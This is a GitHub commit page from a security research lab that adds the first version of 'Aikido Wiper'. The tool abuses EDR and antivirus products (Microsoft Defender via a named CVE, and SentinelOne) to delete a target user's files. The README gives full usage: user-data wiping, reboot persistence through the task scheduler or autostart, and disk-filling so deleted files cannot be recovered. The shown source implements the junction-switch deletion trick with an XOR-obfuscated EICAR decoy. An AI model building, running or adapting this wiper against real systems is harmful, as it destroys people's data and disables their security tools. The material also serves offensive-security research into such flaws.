Skip to content

Commit

Permalink
Merge pull request #1 from SafeBreach-Labs/dev
Browse files Browse the repository at this point in the history
Aikido Wiper first version
  • Loading branch information
oryair1 authored Dec 6, 2022
2 parents f03aa03 + ec93f43 commit eeda8a4
Show file tree
Hide file tree
Showing 19 changed files with 981 additions and 3 deletions.
9 changes: 9 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -127,3 +127,12 @@ dmypy.json

# Pyre type checker
.pyre/

# VSCODE
.vscode/*

# Local History for Visual Studio Code
.history/

# Built Visual Studio Code Extensions
*.vsix
4 changes: 2 additions & 2 deletions LICENSE
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
BSD 3-Clause License

Copyright (c) 2022, Or Yair
Copyright (c) 2022, SafeBreach Labs
All rights reserved.

Redistribution and use in source and binary forms, with or without
Expand All @@ -26,4 +26,4 @@ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
101 changes: 100 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1 +1,100 @@
# aikido_wiper
# Aikido Wiper
## Installation
### Aikido Wiper Library
```bash
pip install <repo_path>
```
or
```bash
python setup.py install
```

### Aikido Wiper Tool
Make sure you installed the Aikido Wiper Library and then run:
```bash
pyinstaller --onefile wiper_tool/wiper.py
```

## General Description
Aikido Wiper is a next-gen wiper that manipulates EDRs and anti viruses in order to delete files.
## Usage
The Aikido Wiper offers two options to begin with:
```cmd
cmd> .\wiper.exe -h
usage: wiper.exe [-h] [-q] {PROXY_DELETION,ERASE_DISK_TRACES} ...
Aikido Wiper - Next gen wiping
optional arguments:
-h, --help show this help message and exit
-q, --quiet If specified, the wiper will run in the background
mode:
{PROXY_DELETION,ERASE_DISK_TRACES}
```
* `PROXY_DELETION` - Specifies that you want to wipe something.
* `ERASE_DISK_TRACES` - Specifies that the wiper should fill the free space on the disk completely with a huge file, delete the file, and repeat this process a few times. This option mainly exists for the wiper to be able to use this feature in order to make deleted files unrestorable after one of the exploits is exploited and a reboot occurs.

If `PROXY_DELETION` is chosen then a few other options are available:
```cmd
cmd> .\wiper.exe PROXY_DELETION -h
usage: wiper.exe PROXY_DELETION [-h] [-p {MicrosoftDefenderDeleteProxy,SentinelOneDeleteProxy}]
[-etp {RIGHT_AFTER,TASK_SCHEDULER_REBOOT,AUTOSTART_REBOOT}]
[--decoy-root-dir DECOY_ROOT_DIR]
{ALL_USER_DATA,ALL_FILES_UNDER_PATH,CUSTOM_PATHS} ...
optional arguments:
-h, --help show this help message and exit
-p {MicrosoftDefenderDeleteProxy,SentinelOneDeleteProxy}, --proxy {MicrosoftDefenderDeleteProxy,SentinelOneDeleteProxy}
The proxy security control to use
-etp {RIGHT_AFTER,TASK_SCHEDULER_REBOOT,AUTOSTART_REBOOT}, --erase-traces-point {RIGHT_AFTER,TASK_SCHEDULER_REBOOT,AUTOSTART_REBOOT}
When to execute the part of the wiping that fills the disk to remove traces of deleted files
--decoy-root-dir DECOY_ROOT_DIR
The path in which all the decoys will be placed in case of a usage of a JunctionSwitchProxy
deletion_target:
{ALL_USER_DATA,ALL_FILES_UNDER_PATH,CUSTOM_PATHS}
ALL_USER_DATA Try to delete the home directory of a certain user
ALL_FILES_UNDER_PATH
Try to delete all the files under the certain path
CUSTOM_PATHS Try to delete custom paths
```
The mandatory option to choose is the deletion target.
* `ALL_USER_DATA` requires the name of the target user. example:
```cmd
cmd> .\wiper.exe PROXY_DELETION ALL_USER_DATA Admin
```
* `ALL_FILES_UNDER_PATH` requires the path to the target directory. example:
```cmd
cmd> .\wiper.exe PROXY_DELETION ALL_FILES_UNDER_PATH C:\Users\Admin
```
This option is not relevant to run against Windows Defender & Defender for Endpoint since the exploit for them does not support specific files deletion
* `CUSTOM_PATHS` requires a path to a file that contains a list separated by line breaks and contains the paths to try to delete. The paths can be directories or files. example:
```cmd
cmd> .\wiper.exe PROXY_DELETION CUSTOM_PATHS .\custom_paths.txt
```
The exploit for Windows Defender & Defender for Endpoint does not support specific files deletion. Therefore, the custom paths file can contain only paths to directories.

### Default Behavior With Mandatory Arguments Only
If you give the wiper only the mandatory arguments, which are the operation mode, probably `PROXY_DELETION`, along with the deletion target, then the default behavior will be as the following:
* The wiper will create a decoy directory in the root path of the Windows drive of the computer.
* The wiper will create the specially crafted paths inside the decoy directory and create the decoy files.
* The wiper will keep open handles to the decoy files until the EDR or the AV is forced to give up on deleting them and instead marks them for deletion for after the next reboot.
* The wiper will write a task to the task scheduler that will run the wiper in the `ERASE_DISK_TRACES` mode right after the reboot.
* After the reboot the target files or directories will be deleted and the wiper will start the process of filling up the disk a few times.

### Optional Behavior With Optional Arguments
#### `-p` / `--proxy`
Lets you choose the deletion proxy class to use. By default, the class is chosen according to the EDR / AV installed on the computer.
* `MicrosoftDefenderDeleteProxy` - Exploits CVE-2022-37971.
* `SentinelOneDeleteProxy` - Exploits <TBD>
#### `-etp` / `--erase-traces-point`
Lets you choose the point in time in which the erase disk traces trick should occur. In other words, the point in time when the wiper starts to fill up the disk to no space for a few times.
* `RIGHT_AFTER` - Should occur right after the exploit is being exploited with no reboot (not relevant for `MicrosoftDefenderDeleteProxy` or `SentinelOneDeleteProxy` but maybe for future exploits)
* `TASK_SCHEDULER_REBOOT` - The wiper should erase disk traces after reboot while using the task scheduler persistency method.
* `AUTOSTART_REBOOT` - The wiper should erase disk traces after reboot while using the autostart directory persistency method.
#### `--decoy-root-dir`
The exploits require a creation of decoy malicious files in order to make the AV / EDR try to delete them and then right before the deletion turn the decoys' root directory into a junction point to the Windows drive. This parameter lets you choose where to create the root directory for the decoys which are used for the exploits against the EDRs / AVs. The default directory is a directory with a uuid name in the Windows drive.



4 changes: 4 additions & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
progressbar2==4.0.0
pyinstaller==5.0
pywin32==304
WMI==1.5.1
10 changes: 10 additions & 0 deletions setup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
from setuptools import setup, find_packages

with open("requirements.txt") as f:
required = f.read().splitlines()
setup(
name="Aikido Wiper",
version="1.0",
package_dir={"": "src"}, # Optional
packages=find_packages(where="src"), # Required
install_requires=required)
Empty file added src/aikido_wiper/__init__.py
Empty file.
Empty file.
Empty file.
19 changes: 19 additions & 0 deletions src/aikido_wiper/indirect_ops/delete/idelete_proxy.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
from abc import ABC, abstractmethod, ABCMeta
from typing import Iterable


class IDeleteProxy(ABC):
"""
A proxy for deleting a file or a directory on the computer without doing it directly.
"""

@abstractmethod
def indirect_delete_paths(self, paths_to_delete: list[str]) -> set[str]:
"""
Using the proxy, trying to delete a list of given paths.
:param paths_to_delete: The list of paths to try to delete
:return: A set of paths that the proxy has failed to delete.
"""
raise NotImplementedError()

169 changes: 169 additions & 0 deletions src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,169 @@
import os
import tempfile
import uuid
import shutil
import pathlib
import progressbar
from typing import Iterable
from abc import abstractmethod

from aikido_wiper.indirect_ops.delete.idelete_proxy import IDeleteProxy

class DecoyPath(object):
"""
Represents a specially crafted path to a decoy file that is used in order to delete
a target path with the JunctionSwitchDeleteProxy
"""

def __init__(self, decoy_dir, path_to_delete) -> None:
"""
Creates the decoy_path based on the target path to delete.
:param decoy_dir: The parent folder for the decoy path.
:param path_to_delete: The target file to delete with the decoy.
"""
self.path_to_delete = path_to_delete
abs_path_to_delete = os.path.abspath(path_to_delete)
drive, path_to_delete_without_drive = os.path.splitdrive(abs_path_to_delete)
path_to_delete_without_drive = path_to_delete_without_drive[1:]

self.decoy_dir = decoy_dir
self.decoy_deepest_dir = os.path.join(self.decoy_dir, os.path.dirname(path_to_delete_without_drive))
self.decoy_file_path = os.path.join(self.decoy_deepest_dir, os.path.basename(path_to_delete))

try:
os.makedirs(self.decoy_deepest_dir)
except FileExistsError:
pass


class JunctionSwitchDeleteProxy(IDeleteProxy):
"""
A deletion proxy that sets a decoy for another running entity that has interest
in deleting the decoy. Next, switches the root decoy path to a junction so the
other running entity accidentally deletes the target path.
"""

# An EICAR file content XORed with 0x7F so it won't trigger an anti virus.
ENCODED_EICAR = [
0x27, 0x4A, 0x30, 0x5E, 0x2F, 0x5A, 0x3F, 0x3E, 0x2F, 0x24, 0x4B, 0x23, 0x2F, 0x25, 0x27, 0x4A,
0x4B, 0x57, 0x2F, 0x21, 0x56, 0x48, 0x3C, 0x3C, 0x56, 0x48, 0x02, 0x5B, 0x3A, 0x36, 0x3C, 0x3E,
0x2D, 0x52, 0x2C, 0x2B, 0x3E, 0x31, 0x3B, 0x3E, 0x2D, 0x3B, 0x52, 0x3E, 0x31, 0x2B, 0x36, 0x29,
0x36, 0x2D, 0x2A, 0x2C, 0x52, 0x2B, 0x3A, 0x2C, 0x2B, 0x52, 0x39, 0x36, 0x33, 0x3A, 0x5E, 0x5B,
0x37, 0x54, 0x37, 0x55
]

EICAR_XOR_DECODING_KEY = 0x7F

def __init__(self, use_one_junction_dir: bool, decoy_dir_path: str = None) -> None:
"""
Creates a junction switch deletion proxy.
:param use_one_junction_dir: If True, the proxy will create all the decoys under
the same dir which will later be switched to be a junction.
:param decoy_dir_path: Optional, The path that will contain the decoy paths with the
decoys inside. It is recommended that the path to this directory will be as short
as possible (for example: "C:\A"). Windows has a path length limit so this will
help the proxy achieve better deletion results. If not given, the path will be
a directory with a UUID name inside the windows drive.
"""
self._use_one_junction_dir = use_one_junction_dir
self._windows_drive = pathlib.Path.home().drive + "\\"
self._decoys_root_dir_path = decoy_dir_path
if None == self._decoys_root_dir_path or "" == self._decoys_root_dir_path:
self._decoys_root_dir_path = os.path.join(self._windows_drive, str(uuid.uuid4()))
self._decoy_dir_count = 0

def indirect_delete_paths(self, paths_to_delete: list[str]) -> set[str]:
"""
Read parent class doc
"""
decoy_path_set = set()
failed_targets = set()
decoy_dir = self._decoys_root_dir_path

# For each deletion target, create a decoy path and the decoy itself.
# Also save the deletion targets that a decoy was not successfully created for.
for path_to_delete in progressbar.progressbar(paths_to_delete):
if not self._use_one_junction_dir:
decoy_dir = os.path.join(self._decoys_root_dir_path, str(self._decoy_dir_count))

try:
decoy_path = DecoyPath(decoy_dir, path_to_delete)
self._create_decoy_file(decoy_path)
except:
failed_targets.add(path_to_delete)
continue

decoy_path_set.add(decoy_path)

if len(failed_targets) == len(paths_to_delete):
raise RuntimeError("Could not delete any of the targets")

for decoy_path in decoy_path_set:
self._before_junction_switch(decoy_path)

if self._use_one_junction_dir:
junction_switch_paths = {self._decoys_root_dir_path}
else:
junction_switch_paths = {decoy_path.decoy_dir for decoy_path in decoy_path_set}

for junction_switch_path in junction_switch_paths:
self._switch_to_junction(junction_switch_path)

for decoy_path in decoy_path_set:
self._after_junction_switch(decoy_path)

return failed_targets

def _switch_to_junction(self, link_path: str):
"""
Deletes a directory and whatever inside and then creates a junction with the same
name that points to the Windows drive.
:param link_path: The directory to delete.
"""
shutil.rmtree(link_path)
os.system(f"mklink /J {link_path} {self._windows_drive} > nul 2>&1")

def _get_decoded_eicar(self) -> bytearray:
"""
Retrieves the decoded EICAR file content from the encoded one.
:return: EICAR file content
"""
decoded_eicar = bytearray()
for byte in self.ENCODED_EICAR:
decoded_eicar.append(byte ^ self.EICAR_XOR_DECODING_KEY)

return decoded_eicar

@abstractmethod
def _create_decoy_file(self, decoy_path: DecoyPath) -> None:
"""
Creates the decoy file that should lead to the deletion of the target path to delete.
:param decoy_path: The relevant decoy path.
"""
raise NotImplementedError()

@abstractmethod
def _before_junction_switch(self, decoy_path: DecoyPath) -> None:
"""
A callback which happens just before the junction switch for each target path
to delete.
:param decoy_path: The relevant decoy path.
"""
raise NotImplementedError()

@abstractmethod
def _after_junction_switch(self, decoy_path: DecoyPath) -> None:
"""
A callback which happens right after the junction switch for each target path
to delete.
:param decoy_path: The relevant decoy path
"""
raise NotImplementedError()

Loading

0 comments on commit eeda8a4

Please sign in to comment.